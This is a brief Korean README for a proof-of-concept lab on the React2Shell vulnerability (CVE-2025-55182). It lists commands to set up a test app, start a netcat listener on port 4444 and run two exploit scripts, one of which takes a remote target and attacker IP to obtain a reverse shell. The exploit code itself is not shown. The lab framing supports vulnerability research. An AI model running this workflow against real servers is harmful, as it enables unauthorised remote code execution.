React2Shell CVE-2025-55182

PoC 및 랩 설정

npm create [email protected] react2shell-lab

기본값을 그대로 사용해도 되며, 이름은 원하는 대로 지정하세요

git clone https://github.com/timsonner/React2Shell-CVE-2025-55182.git

npm install

그런 다음

cd react2shell-lab
npm run dev

nc -nlvp 4444

python3 react2shell-exploit-1.py

이 익스플로잇은 localhost 구성 테스트에 적합합니다. 다른 페이로드의 주석을 해제하면 리버스 셸을 사용할 수 있습니다...

python3 react2shell-exploit-2.py

이 버전은 원격 대상과 공격자 IP 및 포트에 대한 사용자 입력을 요청합니다. 또한 이 버전에서는 POST 본문(body_parts)이 약간 축소되었습니다.